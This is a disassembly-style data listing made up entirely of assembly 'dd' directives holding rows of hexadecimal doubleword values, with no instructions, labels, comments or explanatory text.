		dd 17BBD2D5h, 41C5BA76h, 18B259C1h, 0DBD992ADh,	55D0676Eh
		dd 56E3C567h, 552858B9h, 384FE12Eh, 5AD12882h, 0C540C1FEh
		dd 23DE120Ch, 76E9D704h, 3A48E6ECh, 86050325h, 0E1BC1350h
		dd 63E96BF9h, 181A2E86h, 0C5D27EBDh, 6B5CA8FBh,	0CB704048h
		dd 73788277h, 39243A34h, 189EA2FEh, 35161083h, 657E31D6h
		dd 72CCFC7Ah, 7FEB27CBh, 96847888h, 0BE16857Bh,	525D29B7h
		dd 4D5F6909h, 0D400D789h, 0A654E963h, 12C0FAFEh, 0F87602F2h
		dd 1DD89765h, 0ED2D342Fh, 85019D1Fh, 0BB2F57E9h, 2DA68E44h
		dd 5A8CEE56h, 8542B71Ch, 245AD0DDh, 87A5B7D6h, 92AD5651h
		dd 5A7D54A2h, 0A0F69FB2h, 0E04449A6h, 9BB82B91h, 95332DE4h
		dd 2AF555A1h, 2282708Bh, 5D979FB2h, 4B0B0934h, 59DCE7E9h
		dd 0A3C24918h, 0A0B8B756h, 0A2664F21h, 1F51095h, 0E7A68C50h
		dd 0B98FF784h, 47F012EEh, 8F3FE331h, 36833D02h,	272E7101h
		dd 42C29989h, 0B867DBDDh, 40B328AEh, 2BD43C69h,	3570EEB0h
		dd 58C8F69Fh, 3AE14D99h, 64A220BDh, 0FBDD814Ah,	2D923E24h
		dd 0DEFC4EA8h, 0E3DD0E6h, 0F0215A01h, 0AE8C15Eh, 6DAA3Eh
		dd 0DF54D702h, 0B5EE1296h, 0F4B9596h, 6012026Ah, 0CBDFC029h
		dd 0D33F01CFh, 378C0F34h, 0C9A82B7Ah, 8F72F087h, 16A8E431h
		dd 85010741h, 739D55E2h, 5992CCE5h, 58BF5C8Ah, 400940A2h
		dd 0A84CD69Fh, 34C83971h, 73566025h, 0A880CC13h, 285E6325h
		dd 1D911D1Bh, 405A0875h, 0A5F9D857h, 360BCE9h, 3828EF43h
		dd 94765EDEh, 8D08160Eh, 0F13D7A1Bh, 0A83865FDh, 1715B7C4h
		dd 20CD2DFFh, 0D8B50D05h, 3D7395D2h, 0C910F4CBh, 0EE68B9E8h
		dd 9C893B9Eh, 0EF8A54F8h, 4D70786Bh, 42DB73BFh,	90F73670h
		dd 5ED8DE7Bh, 8FABA921h, 400DC558h, 0F21A7C7h, 33699D82h
		dd 0E1748718h, 69589468h, 1FF9D219h, 0E902BA25h, 8DE1C188h
		dd 483B9D65h, 92ACF965h, 10C0866Dh, 7A85D697h, 97A6525Dh
		dd 8434BE5Dh, 0ACFA9D82h, 10CC5B90h, 30BD7B4Ch,	31FA43F2h
		dd 0B0FA5DEAh, 53E4494Fh, 9CD95DF4h, 0D154743Bh, 8A5704E6h
		dd 0FF3150FAh, 0E0003E2Dh, 1A555494h, 98FD0128h, 0D5290801h
		dd 0EAA06F5Ah, 97F7E65Dh, 806B537Eh, 6C206577h,	0E9DF0B87h
		dd 2710F35Fh, 37268B89h, 68020A9Bh, 7F769F5Bh, 9D357900h
		dd 0F6B83A60h, 33A2E030h, 0F23D67F6h, 597BE61h,	0BE472703h
		dd 165AE109h, 0DBE927F9h, 159BFC2h, 136273Dh, 0CA9689Dh
		dd 7A56EE4Ch, 610A3A66h, 0C14B5E3Bh, 6F3BABAEh,	8F9ABE49h
		dd 7ECB1E0Dh, 59EDA5Bh,	7161C7Ch, 47A5BB48h, 27E38AD4h
		dd 625DF8E9h, 0DD595D7Ch, 4EE40549h, 0AA28C844h, 53C1998Ah
		dd 2A01BD55h, 0F222D444h, 0E9A168FBh, 5A6E8F59h, 0A1F5AFBDh
		dd 0E990586Dh, 2A171334h, 0BA3384FEh, 0E985B0A2h, 2FF2A1B1h
		dd 4309531Eh, 9612C667h, 2E558B60h, 0E150A756h,	0BADB958Eh
		dd 0EE69CF8Bh, 2E517CCFh, 8E3846B9h, 0D6A407B0h, 2F58E889h
		dd 570742BEh, 657A9D7Ch, 97B0C28h, 55EEBB7h, 0CCE017C1h
		dd 48208E6Fh, 0BF1B0533h, 0B482DC73h, 8D0F0014h, 0D19567D4h
		dd 371F88D3h, 2DD58905h, 0ABDFD4EFh, 8B149481h,	3C580102h
		dd 2597EF20h, 0EBFD5456h, 0D6EA27B5h, 0BAE609A0h, 4A487829h
		dd 932D3A7Eh, 20FA0EBEh, 0ABCAC022h, 89B9074Ah,	0B215C312h
		dd 50F94065h, 58096842h, 8310C201h, 5EA8CD9Dh, 0C895D98Eh
		dd 0E2FCB9Fh, 8775B960h, 9CD1F7C5h, 3D5B5F07h, 615A6EA7h
		dd 8B686A3Fh, 5158C2EDh, 6C1969BFh, 2DEB2FC2h, 0E514AF8Eh
		dd 0D97F4D1Dh, 65E32B14h, 0E7D29Ch, 1021C0D2h, 2D34485Bh
		dd 81BF0DBBh, 0A01493BAh, 0B4A2A28Bh, 217214FDh, 11BC6053h
		dd 0AA5B0782h, 8E14B468h, 0E9535006h, 203D18AFh, 579559C8h
		dd 0FFC91C21h, 0E8B9C8FEh, 171736FAh, 31FACE89h, 8E38E9D0h
		dd 0FF575B7Dh, 32E2CEB9h, 84A94A7Fh, 0EE7CC049h, 447D304Ah
		dd 0B9D95F8h, 1C723F5h,	0DE7A1CF1h, 91DA447h, 59579C9Eh
		dd 8ACA2E97h, 0BBEA2172h, 7164EF27h, 0E8D50B24h, 119C5C64h
		dd 0AC065ECFh, 19BEA048h, 0E68331Ah, 0D6B0EC9Ch, 0F2122977h
		dd 0EF43FCE9h, 9A52D388h, 2D975EDAh, 80F45D14h,	5216C501h
		dd 12E996B6h, 0EBB4852Fh, 357EFCB7h, 0BB1CF617h, 0CCDE3C1h
		dd 3A9ED5E1h, 3F3D3FF5h, 0CDF9E693h, 0D68F51AEh, 0C313932Fh
		dd 6A2AE309h, 0CE6AD7EFh, 7897Dh, 80641FC7h, 51E9104Ah
		dd 0F0B80211h, 0FD423203h, 5608A948h, 0CA1D68FEh, 59C0941Ah
		dd 0D732F181h, 93AFD29h, 1483311Eh, 0D10179E5h,	0BE5430C3h
		dd 0C42A293Ah, 0C081905h, 586C97C1h, 1EA5D82Dh,	7083227Fh
		dd 2BF70B73h, 0A99175D7h, 7628386Ch, 0FE876825h, 0BB37C2A4h
		dd 0A9E5750Bh, 0FF1ABFBBh, 6062908Ch, 0E52D4422h, 9E260717h
		dd 520F0089h, 641EE65Fh, 685B0A34h, 42370AF3h, 0FA653994h
		dd 2C3830Bh, 9422E1Dh, 0C6F90255h, 8803C77Fh, 8816CDF3h
		dd 439EBC09h, 0BEECED59h, 772168C2h, 2B2E5248h,	0A708EA93h
		dd 0B0066B60h, 660242D4h, 0B0505152h, 79D97F91h, 75C68889h
		dd 0F9A6410Eh, 7E20865Bh, 7240095h, 0D0F6C0FEh,	30261304h
		dd 245371C1h, 0E1EB678h, 0F10996EEh, 680464E8h,	0BD295D80h
		dd 0CB4A33D8h, 65F57852h, 9309FB6Ch, 0E82F125h,	2DD05FFBh
		dd 20976C97h, 8EFD0AA8h, 3FFEDB4Ah, 93250FA8h, 92205B71h
		dd 6485AE5Ch, 2FB36F02h, 5DD442DBh, 5E9D327h, 871E88D4h
		dd 0E281DA01h, 105539BEh, 9FE0C5FFh, 50B8045Eh,	0EE241E6Ah
		dd 0F480D01h, 472B7E8Ah, 0B63B790h, 5FAACEF5h, 0BBEF1610h
		dd 4E15F0CAh, 0BD028E72h, 42F64D5Eh, 1565F25Fh,	0F6502AE9h
		dd 9F7EDB05h, 65CC1F63h
		dd 0DA290883h, 29F569BAh, 4D320089h, 60528F0Fh,	0BEF58D16h
		dd 5C16956Fh, 0AB97A4E9h, 417663h, 9B69EE97h, 0F729A75Eh
		dd 0FEC2E4E9h, 7AF0117h, 802BDB5h, 98B5EC5Fh, 7A445D00h
		dd 59DD56C9h, 0BB510C8Ah, 29ECEB67h, 68363106h,	25213D6Eh
		dd 0B95FE687h, 0B52E2D30h, 27EED439h, 291D7600h, 53E952C8h
		dd 4F9FB163h, 0EA215E65h, 0C428509Ah, 2D5D000Ah, 543F45E0h
		dd 0AEC0D029h, 68F11F4Ah, 0A9EE2FE9h, 246FD774h, 44FABFE0h
		dd 0ABF7869Bh, 1D4111C9h, 59A52A79h, 1008D279h,	96D52785h
		dd 0B189541Bh, 0AD5C97C3h, 7046E906h, 0E6FD7733h, 82B207h
		dd 0BC2D59CFh, 553773Dh, 0D23CA80Fh, 695F416Dh,	0C43E237Ah
		dd 28071F48h, 1B44F511h, 0F08CACAFh, 97FFDD1Bh,	525039DFh
		dd 315D8h, 0CA810D38h, 76B1C11h, 20F84A4Eh, 16794D4Ch
		dd 0BD5A5B0h, 0E47E5375h, 8851FD58h, 22CBCADDh,	5163D7BAh
		dd 41D020D2h, 5F69BB07h, 29A56C4Ch, 0BD3FBFB1h,	57D78464h
		dd 0DBCAC2FCh, 8100AFBAh, 0E038D4C7h, 0EF003176h, 0C8A71472h
		dd 0F0E9F989h, 5C52C58Fh, 1203E756h, 39EBF1C8h,	0BAF2FFFh
		dd 24D09C00h, 50C95995h, 8B884DA1h, 0EC3EE116h,	6657A05Fh
		dd 5B204C5Bh, 4FBDF32Ah, 0CE54B75Fh, 0B109A3Fh,	0EB8F75F2h
		dd 9770984Bh, 0BE154B7h, 0F45A1E15h, 0F96D84C2h, 0E1EDCFEh
		dd 40618103h, 6984AF27h, 11BB5BE3h, 100408DBh, 5F010DF9h
		dd 920C4414h, 482CE10Bh, 2440230Dh, 427833B9h, 20BFC89h
		dd 57B7ACBCh, 8D833498h, 0E92FDE95h, 6848FD66h,	0A3BC5AE8h
		dd 6FEA01B1h, 68C4DAB2h, 0E9C9D1A0h, 300E250Fh,	615F3FFAh
		dd 9F0382A3h, 8B4F792Dh, 0EEF8ABC4h, 689561B9h,	805B0030h
		dd 0E5C01AF5h, 44979803h, 6509C586h, 85AE026h, 820B025h
		dd 54A21CC1h, 0F77D2BECh, 2687A25h, 1F1E94C3h, 91DA2FA5h
		dd 61F785B9h, 7A316105h, 0B0A524D9h, 1220AAD2h,	0DD313E49h
		dd 24E49F6h, 0E5B75300h, 0F8287A2Ch, 34900474h,	7EB8E915h
		dd 56E01EC5h, 0DBDD810Bh, 66CA58Bh, 7C82E74Eh, 2CDBFBADh
		dd 0DB072FECh, 57F4520Dh, 14900150h, 0F6256C09h, 2586743Ch
		dd 275B44DFh, 83E25CE9h, 0A188FBFDh, 69410BD1h,	0D4211E9Ah
		dd 84CB27E9h, 0A9174271h, 536A4081h, 0C4DB57C2h, 33627DA5h
		dd 86C4D357h, 1C4868E9h, 7B37FDE9h, 0E505EDA3h,	0C2304F34h
		dd 0EC5F28E7h, 0C7E59022h, 2780EB16h, 0AFC6EA69h, 0F4A1168h
		dd 85AB8D4Bh, 67A2AFB1h, 0C1F001D2h, 0F4D011A9h, 0EC4028E9h
		dd 6CC63980h, 0BF6FCE93h, 0D831A4A5h, 843F6BF5h, 0B1B6ABC3h
		dd 0A776FA24h, 0D12037F0h, 0E3892859h, 0B7ACA0DFh, 0EC64950Ch
		dd 1140CF0Bh, 0EEDE40Bh, 0FE4CCC80h, 97208A74h,	10EB0506h
		dd 5EFD63CEh, 0B8F4BC52h, 1C623AE9h, 0C101198Dh, 0D40807E6h
		dd 2D98D01Ah, 233D1FFDh, 60172D6Eh, 0A097BF4Dh,	0E24F70C7h
		dd 4F75A87h, 0E867B047h, 294EC640h, 20C10F7Fh, 0AF72064Fh
		dd 3CEACFA4h, 0CE0636Ch, 34C71364h, 0CC278098h,	0F96C5DFFh
		dd 772DC37Ah, 1E9783Ch,	6D3370Ah, 2F3FD9E9h, 1C9E68Ah
		dd 97B26477h, 0D5252C7Ch, 1F90C6B4h, 0E3B33629h, 7769D900h
		dd 0FA574502h, 0E8054E94h, 3A568320h, 63C2A7DEh, 267BC5B0h
		dd 0E2D4A5D1h, 0B2DA02A5h, 89977617h, 0EA712906h, 0FEBC874Fh
		dd 0C406DE19h, 0F54C2118h, 1501EA5h, 3A7C5C9Fh,	871AAFCFh
		dd 7FE9C2EFh, 0E6CC508Bh, 0C30514Fh, 0B5A0FDE9h, 0F8AD5DDBh
		dd 58C129EEh, 3268844Dh, 74F2D83Ah, 25A66712h, 4A9DC0Bh
		dd 0B1EF5502h, 5D080357h, 70B41E0Eh, 0A0012860h, 231CD008h
		dd 4EFFE912h, 73C554CFh, 3A2CFA77h, 0C789045Fh,	0AA844FE9h
		dd 0B3822A27h, 510E7243h, 0C8FFE906h, 5E46CB81h, 212F837h
		dd 0D6426DF3h, 31AF7445h, 0F17F8B5Ch, 12BDC455h, 1160602h
		dd 5E5DEF09h, 69820C4h,	51D3A76h, 0F7207A29h, 0D5A4A240h
		dd 2E5B6C69h, 42553E6h,	93D4C4F5h, 0AFDE0FC4h, 1475AFBFh
		dd 0E9581226h, 3038A0E1h, 1AF0FD7Bh, 841FED58h,	660112A4h
		dd 3A587A68h, 0C40F67BBh, 3A128151h, 981F06F4h,	329A411Bh
		dd 16AB4E75h, 97ADBC8Ch, 0B09BC7AFh, 0CEFE40EEh, 3054514Ch
		dd 5BD8399Ch, 147E0005h, 422D276Fh, 0EF2447C1h,	0C0136B21h
		dd 0ECE39D92h, 4BB2A1D2h, 1C1A3FDCh, 252DF4E9h,	0A8D845DDh
		dd 0B6549D28h, 97E831F8h, 0AA4CEBD1h, 0C2099710h, 685097D4h
		dd 0BE095451h, 0A9024F4Ch, 6BCB85EEh, 0EE94FAD1h, 9729BB2Bh
		dd 0F97A9961h, 0A4F286C6h, 65823137h, 1942D0Bh,	457E5B5Ch
		dd 0AD5184D6h, 0A8E9E10Ch, 0BDBC0C2Ah, 67283DA6h, 8E0BA24Dh
		dd 0D569E350h, 75E5BD20h, 64769516h, 34039CF2h,	8950174Eh
		dd 0E9C290E8h, 6E7D5C2Ch, 3F5D0292h, 60405313h,	5A044A9Fh
		dd 0E33E93Ah, 0AE17C8ADh, 8B28BF5Fh, 17138419h,	6A77FEF3h
		dd 0F514D5B2h, 528B6879h, 0CCB14B44h, 476A5A0Fh, 0BBDE38D6h
		dd 48904A64h, 0E177A768h, 2639BF2Ah, 0FCBB5889h, 4536BD7h
		dd 270EBEF6h, 0ECA0FA5Dh, 9F63706Bh, 33D9B0F4h,	5C79C204h
		dd 3A8C4775h, 0D01DA738h, 21E1272Ch, 54500209h,	56686176h
		dd 5674731Fh, 0BB531F5Dh, 7ED41C81h, 0E12AE6E9h, 12F62EA1h
		dd 1D9B2C17h, 8B5B7A53h, 9BE84A79h, 0FC0F7D13h,	45CBA12Eh
		dd 7A2AB67Bh, 2DCE4949h, 7200C95Ah, 5C38213Fh, 0B4BB14A8h
		dd 4A59E917h, 0D0313D39h, 0F1ABCEA0h, 3C41C750h, 0FF3AED2Eh
		dd 0A1847525h, 0ABDB959Ah, 0FBD250A3h, 0D5A24262h, 1E77C442h
		dd 53CED25Fh, 62A804DDh, 2D139018h, 1E1F2237h, 4813D809h
		dd 0A6AFE185h, 9083208Dh, 213560A3h, 95329E68h,	427B7B7Bh
		dd 0CA4E92CEh, 0A538A366h, 8A1EC554h, 0B8BB5A64h, 0B151D805h
		dd 0E1C0ABDAh, 3A52C9FEh, 0C6ADACB6h, 518AC2B9h, 35D17EC9h
		dd 74E97E8Dh, 0F614137Bh, 19FDA2FEh, 0D03C12F4h, 318A0FF8h
		dd 0C8814FC2h, 0D42AA5FBh, 3CCA828Eh, 0D742107Ah, 95C558DFh
		dd 79B705D0h, 617D6B9Fh, 0E06E29E3h, 3EF359E5h,	5BBAE7D8h
		dd 3A2CABD1h, 0B584BFD5h, 505F05Eh, 502FD080h, 5BD1E3A9h
		dd 0E9FD0F5Ah, 0CC559F8Bh, 0B554B50Ah, 202EB3F1h, 186802CBh
		dd 2D1B1462h, 66530796h, 0AD480D5Dh, 4BCB06B2h,	28A2B46h
		dd 37F451A2h, 5378EAC1h, 1A14EC00h, 0E9DAF72Eh,	9D19909Fh
		dd 4573B3F7h, 0FF2AF8ACh, 6800932Ah, 2E84692Ch,	26002558h
		dd 0F2BB254h, 9E3D188Bh, 2328809Fh, 0D0317C36h,	0E9611B99h
		dd 4D2A5D68h, 52FA579Eh, 0A9F75CC0h, 9F2C469Bh,	0E9C1507Ch
		dd 307920EFh, 3D8E31CBh, 8905BC73h, 0BBD22042h,	5C17710Eh
		dd 0C28641Dh, 87C10406h, 0BF610220h, 0CB8EECA8h, 0EE5E76E4h
		dd 0AFED5C9Dh, 1E52C22Ch, 0FC3FF112h, 0B353E087h, 30899834h
		dd 0DF5272Eh, 949DFEF0h, 0B735FA98h, 0C5EEEE0Fh, 285831EBh
		dd 30E1BF0Eh, 0C90B3221h, 0C4CFA0Eh, 6CD561D4h,	2916C6CCh
		dd 7AB4F47h, 74FAD8D7h,	843315DFh, 0FDC4EB31h, 0E6820F81h
		dd 4C085F82h, 64F50279h, 2032BE19h, 4585F0Ch, 0BA2115E5h
		dd 0B4E079F8h, 255AB697h, 0BA4985h, 92C68088h, 0A74D23E9h
		dd 97253BE5h, 7A9E0E2h,	0DE280C0Fh, 54408D49h, 425A6E68h
		dd 0E613F8F3h, 40E3E304h, 5A5EC0A5h, 0BE17C8B3h, 0E1204427h
		dd 6161EF6Dh, 0C93DE833h, 77D3792Ah, 2014B054h,	0BA0035D1h
		dd 31BF749Bh, 5B8C281h,	0E90BCB58h, 7BE8A146h, 8984ACA9h
		dd 0A2CEECAh, 74344F99h
		dd 0BA5209EAh, 38B4A95Eh, 1A195ECh, 1D9296CDh, 0E793FEF6h
		dd 68086234h, 456C5D14h, 7000964Ah, 0ED8040B7h,	0EAFDE0D8h
		dd 62FBA0C5h, 6C599FF9h, 0B878C28Ah, 28905367h,	0B512DF11h
		dd 78847180h, 0F5C6DAAh, 82175FF8h, 2348AEAh, 860945BEh
		dd 8954006h, 1A5B245Ah,	0B2542D76h, 4996F525h, 70026816h
		dd 407D69CCh, 0C24E0844h, 0EABA81AAh, 0D33F20E7h, 5FA51996h
		dd 8C0F6BC0h, 0FF25072Ah, 5B063138h, 0F3F960FBh, 3F04E4C1h
		dd 6106E998h, 9E44EDAFh, 32E94DD3h, 0C730FE5Ah,	181C6F09h
		dd 368829E9h, 3D90D328h, 0C380CB0Bh, 1B135D56h,	2264C7ACh
		dd 11D03CE9h, 8CF0599Dh, 0E1BBC003h, 8C1ADD01h,	4E856832h
		dd 0EF6C8C3Bh, 56724105h, 98BBD3F7h, 8718DF10h,	4CCC5FFBh
		dd 8C51638h, 0E573004Bh, 48779A3Eh, 2716BD90h, 11010283h
		dd 31EF0824h, 3B5A907Eh, 3190D4FEh, 649FAB72h, 0C164BF70h
		dd 0DC195B2Dh, 0B6AC07Fh, 0E6798177h, 5C05CC90h, 8D84830Fh
		dd 0FD7CD9EEh, 0F408138Eh, 0F05675BBh, 6B4F0173h, 58F18DACh
		dd 5BC27456h, 979A9490h, 22FD6CB7h, 0B6D77B1Ch,	597672EFh
		dd 0AF9BB0DFh, 837782F7h, 58203070h, 0A36FEF97h, 685801B7h
		dd 450947C7h, 5AF002E4h, 0AFF8A516h, 139DE916h,	7E6572AAh
		dd 10251DF6h, 0C858163Dh, 1408EACFh, 32D62F26h,	0A83C4B78h
		dd 9D94AB97h, 0FF5AB0FCh, 0CD1F6F50h, 62572628h, 0C3E56090h
		dd 17D4B64h, 6F534C60h,	8B0C8007h, 1033E37h, 0A9E8B7EBh
		dd 984F48E9h, 0AE4A3FE3h, 3CD53C1h, 32228E7Bh, 544CD4F2h
		dd 0B8918C8Dh, 0D24878B1h, 2BAC81C0h, 0E8403950h, 5BF5573Dh
		dd 6710EF5Ch, 5505108h,	9BD0EE14h, 0C4FEEEA0h, 0FC5D304Eh
		dd 780DC93Ch, 6259957Eh, 505189h, 635EA085h, 92C9074h
		dd 0EA42AB36h, 89950557h, 481062AEh, 572A40E0h,	19F30580h
		dd 17475D42h, 0AD8A7E44h, 5671EF4Ah, 0B1395A7Fh, 8C868C2h
		dd 0E908B05Fh, 0A7A75F25h, 89FE4E41h, 0ED454348h, 3E5CF03Bh
		dd 0D812DDD3h, 63C95DCh, 0EF814B75h, 0C9BF0D91h, 13757ACAh
		dd 2F9BA500h, 0F722138Ah, 0E3801AD0h, 9D8CDA7Fh, 0B0651076h
		dd 0C8317591h, 9C10599h, 13CFE9F9h, 0BFAF2D7h, 259343FFh
		dd 0C5575608h, 2378693Eh, 9F567729h, 0F22D5F97h, 0E2ABBC41h
		dd 0A3C1EF15h, 0C81136D9h, 0E00AAD87h, 376AE8BDh, 94226411h
		dd 0F35BE01h, 4E62F781h, 0EC5E9067h, 6153A2DFh,	476FB45h
		dd 1EC4680Ah, 0C2298B99h, 0C372B1FCh, 386389B0h, 40B50E83h
		dd 2CD2E530h, 7A684E48h, 0C2A80F4Bh, 1C91E2E7h,	9D14BC7Fh
		dd 5AEED6C8h, 6EC98DC4h, 0E7D9FB12h, 0BCE9D450h, 8099BE90h
		dd 399CFAF0h, 3C028E2Dh, 0D829147Bh, 5B078705h,	304C2260h
		dd 2D1ACA1Eh, 1D7E2507h, 0EA70E658h, 11FE9539h,	0BD0B0678h
		dd 7BE18AAEh, 7BFDEECFh, 6259BCF0h, 33EBF710h, 8BF19876h
		dd 5EB857E6h, 9820D93h,	2AF48FF2h, 74AD85B1h, 0D8750872h
		dd 4E7AF789h, 0EB8800F0h, 85B905B0h, 721FC81Fh,	0A8F0E1C1h
		dd 513070D3h, 0CEF00979h, 63243054h, 3517511Eh,	21380375h
		dd 61BB5A1Eh, 49BCF3E2h, 0B564E4B8h, 783295Ch, 16C63169h
		dd 6BE2403Bh, 9798241Ah, 0E91D3E96h, 0B4A06D35h, 124C0B93h
		dd 76957690h, 39D3A446h, 5936749Eh, 0E705122Dh,	82C4F4F8h
		dd 0D5172C5Fh, 0B73E99AEh, 3B932610h, 7F0C8661h, 13DA0698h
		dd 768311E9h, 0EC880F0Ch, 0BF5BB06h, 18604524h,	0B3933DD0h
		dd 548A7D09h, 0CEF1A7E9h, 0A062FD6Bh, 241FFBD5h, 8BF52F01h
		dd 0BD7D94B4h, 0E9052D7Bh, 5BA622CEh, 30275D7Ah, 0AF5A6616h
		dd 0EB80D703h, 95062D1Ah, 0F208C45Eh, 0BFD82D39h, 3D2DC631h
		dd 2224214h, 820F5694h,	1C361578h, 5E35280Ch, 0BA7A85EDh
		dd 0E917E4CFh, 0FE4DC523h, 420CBF98h, 49B802AEh, 0D722EA21h
		dd 91553B0Bh, 0D97A5FDCh, 14E63A12h, 0CD98E909h, 920FF359h
		dd 55497Dh, 67784A0Ch, 7C29275Bh, 95D04CD5h, 0F7905970h
		dd 760862B1h, 13591C4Ah, 0CC86D1F3h, 0CC892A34h, 60DD8920h
		dd 0DC35F825h, 54785066h, 0C63A7100h, 605F0D2Eh, 2D730136h
		dd 7FF67A5Eh, 6FB77B01h, 0F9F0661Ah, 68649900h,	0F9A112FEh
		dd 290D8160h, 4BA8E9F7h, 2858E151h, 0E5C39171h,	505131EEh
		dd 0FB310188h, 1235C1FDh, 0FA228B01h, 0D96ED7Ch, 3CEEF2F3h
		dd 4765E14Ch, 28522C24h, 2B3DCBAh, 0FFBB80Bh, 24DC7F1Ah
		dd 1F40D01h, 0FC7E7663h, 0C8A91651h, 0AB359820h, 0BECE4BB7h
		dd 9E0EE188h, 0CD5A2FA3h, 20BF1AF2h, 5E34C2CEh,	25076A4h
		dd 57122ACAh, 2957E90Bh, 0E91B8E64h, 0AC895CB4h, 42ED1CD0h
		dd 5A069C5Ch, 2992B1F1h, 0D22734A2h, 8D912C46h,	0E3052116h
		dd 22BE3035h, 47E75194h, 2164B509h, 0CD7B86F2h,	0BBFBB507h
		dd 0A4188539h, 0E9E80C21h, 5C34E464h, 0F9A9664Ah, 250F5C9Eh
		dd 967096D7h, 41F2175Ah, 260ABE99h, 0FD2930CBh,	0C2E54758h
		dd 5DBA3788h, 4C88C947h, 40501CC5h, 3D2C62B0h, 2DFAC388h
		dd 0E5F8374Bh, 0D3CACEC3h, 5C9DD39Fh, 41113451h, 2A422796h
		dd 16EF01C5h, 3798FFF6h, 95C2BAEEh, 2D80BB88h, 8A49BCF7h
		dd 867155D2h, 208275A7h, 54F6A875h, 0EA684663h,	37B54106h
		dd 89F9F7EFh, 97DBE58Ch, 97750842h, 646BB80h, 483140F8h
		dd 0A2D24D3h, 0ACEDA5A8h, 0AABC2A8Bh, 445AFD52h, 43BC09FCh
		dd 0D9C68485h, 0AF76FB23h, 0DECBAD64h, 45116803h, 454A3878h
		dd 86060116h, 0B6D5F3DEh, 0F71C09F8h, 325BE00h,	1200617Dh
		dd 1E1BFA0Dh, 0AE0C101h, 1CA2E905h, 78ED87B7h, 0B2650723h
		dd 467DC6E6h, 9AA97980h, 4A3C795Ah, 0BB34AA54h,	991F48FBh
		dd 0C9FCCF93h, 601FBE4Eh, 346EC92h, 7D76EEC1h, 9BDC9F40h
		dd 7A5D5371h, 5CEB5820h, 24C524Ch, 1D28FD07h, 20FDFB1Ch
		dd 190B86EBh, 4DD2BF0Fh, 495E0882h, 411E2D88h, 415F77A1h
		dd 223E4F5h, 8BC05D80h,	10CEC415h, 5BB9EFEh, 58E128E7h
		dd 695FC7BFh, 290A6154h, 0BD1387EAh, 0EBFF57FBh, 0E9122D8Bh
		dd 434EE063h, 205292ECh, 0C4517F5h, 26BB8AEFh, 5F9E96EBh
		dd 0F3BE15D3h, 90E41212h, 4046E7EFh, 5E4C748Dh,	2CE4C23h
		dd 3CED71B9h, 10D0FD29h, 3A081C01h, 0E7B6E91Dh,	680B7A23h
		dd 0AB060E1h, 5F252983h, 90E4D579h, 0A90B6898h,	0DF2FC10Ch
		dd 0E65C2398h, 0F86D6E27h, 17DCB500h, 0DC35F142h, 6CFFC9DEh
		dd 0CE5B4EB3h, 599D1043h, 0FCCB057Fh, 46C8414h,	13A69197h
		dd 2B6F2CEFh, 0A788324Ch, 82F8ADB4h, 8DD1EE4Ah,	55DD3D96h
		dd 824CDC20h, 1211C077h, 0EEC85931h, 0EE142497h, 5F25A1A9h
		dd 68EBBC59h, 28B892h, 0F7607657h, 0EE5E05D0h, 0D8C81027h
		dd 0A7F1B7C8h, 0F16FE905h, 545AF309h, 0A390B82h, 5E83C22h
		dd 0CF422374h, 9429C62Ah, 9A8B2013h, 20CB98BCh,	8013B917h
		dd 0F4AF19F3h, 0F094B08h, 0A3CA5481h, 4A0EE527h, 0C49F940Bh
		dd 0B99517B4h, 950BA472h, 29A6C09Dh, 0AE2D4EC8h, 1CB82F15h
		dd 0EFFC1D47h, 0CB560F0Ch, 7E27D21h, 20C080Dh, 0E5555814h
		dd 0B3FB8834h, 0A2ACFF2Dh, 0E54D5D78h, 13C538ADh, 2F094BBAh
		dd 55074A1Eh, 5501C356h, 0B8228BBDh, 8573FA96h,	0B529EA4Fh
		dd 0DB7A2C7Ah, 2C583340h, 0C0875368h, 650A23BEh, 0DFEC085Eh
		dd 3CFD6873h, 8DE9090Bh, 0DE9428D8h, 7B2F2FBEh,	1E870991h
		dd 6F17DE30h, 0DE3E6FDAh, 52462D10h, 0DBC3D880h, 893DE597h
		dd 537D8E59h, 0EDD21629h
		dd 0E3DC1A0Ch, 7E90DD4Fh, 0B225850Fh, 4EB6D76Fh, 0C1B7BEBh
		dd 1D9DA08h, 0C260F068h, 6C23F9FFh, 0C82FE936h,	275746D4h
		dd 871C016Ch, 4745A3B0h, 0FD56EB02h, 0BE15BA73h, 285B7FA4h
		dd 5C05AADh, 2D77484Dh,	5BD8012Eh, 1040BE59h, 0BF5EF029h
		dd 0BB4127F8h, 362BF92Bh, 5F25AFD0h, 8E4BEF05h,	9FE6D8DBh
		dd 5B69E271h, 0E7570A28h, 0FBB816B2h, 8C580A33h, 0F7C05DECh
		dd 0AC32E9F1h, 57B7E9BFh, 0AB5B122Bh, 2927A9E7h, 685E54E0h
		dd 593CBC2Dh, 0E9D58231h, 515626CCh, 0DDD217C2h, 61C2DF93h
		dd 0B40E1AFEh, 3E30B5Eh, 87F3C352h, 0C3C85135h,	759DB831h
		dd 0FE4EC438h, 902981C0h, 0A20C01A8h, 4FE28AE0h, 0C41EECA5h
		dd 0AA25512Bh, 90D8D7A7h, 4A9A5E59h, 0D42E7B24h, 6A2FC041h
		dd 0BB1AE06Ah, 1DFA2B16h, 0CAF183AEh, 0D90B2241h, 591742EAh
		dd 2549BA7Dh, 16EEB281h, 6C9AAB0Dh, 0EB034E48h,	10362941h
		dd 48148DE0h, 0B207E9Ah, 0ECD69F07h, 59A6B461h,	5171BA3Bh
		dd 46C6EE9h, 5117543Bh,	78C16153h, 708A260Fh, 0CE615941h
		dd 0D310F939h, 0E6881C0Ah, 5807F19Fh, 6D2CF20h,	837ED613h
		dd 0BA4EAB4Ch, 0C21C82D9h, 55D35Dh, 6819B8F6h, 77258939h
		dd 43ECF120h, 0FE05FF7h, 0A54FCD8Eh, 0A1A133EDh, 68108B17h
		dd 3A647DD1h, 0CCB55103h, 985FED80h, 160FBEE5h,	570BEC86h
		dd 1492EF2Eh, 0C8E47F5Ah, 9A4F2505h, 63EE310Dh,	0E89CE937h
		dd 0DA2D25ACh, 0E27E9FDAh, 6E3FBDA0h, 0AA8226B0h, 8437742Fh
		dd 0D20211E9h, 3EE4BA06h, 33FAD3E8h, 0DD98A2BAh, 76080B97h
		dd 0A500526Eh, 74DC6854h, 27960CC2h, 0A292F7DBh, 5CE90801h
		dd 78AA2B7Fh, 0D725E9BBh, 1F36C522h, 29149C3h, 64EF09F6h
		dd 8CEE6A99h, 0F82F6803h, 2DE3EC0Ah, 164283E9h,	0C2CD79DFh
		dd 0B45035E9h, 0CE9DD3A1h, 0BCB06A0Fh, 0C58BAC9Dh, 9F12D6A2h
